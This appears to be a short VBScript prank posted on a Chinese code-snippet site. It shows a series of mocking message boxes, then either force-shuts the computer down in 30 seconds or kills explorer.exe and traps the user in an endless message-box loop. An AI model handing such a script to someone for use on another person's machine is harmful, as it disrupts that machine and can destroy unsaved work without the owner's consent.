[vb]代码库
msgbox "pin气检测开始!!",48
wscript.sleep 500
msgbox "Are you a pinjia?",vbyesno+64,"xxx制作~"
wscript.sleep 1000
if msgbox("由于你的pin气太大,严重干扰系统的正常工作,所以立即重启···",vbokcancel+48)=vbok then
wscript.sleep 600
msgbox "系统招架不住啊!!!!",48+4096
wscript.sleep 1000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 30 -c 这孩子pin气大大滴好!!!",,true
else
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "taskkill /f /im explorer.exe",,true
while true
msgbox "真傻~",48
wscript.sleep 1500
wend
end if
初级程序员
by: 藤原千花 发表于:2020-04-20 20:28:04 顶(0) | 踩(0) 回复
666
回复评论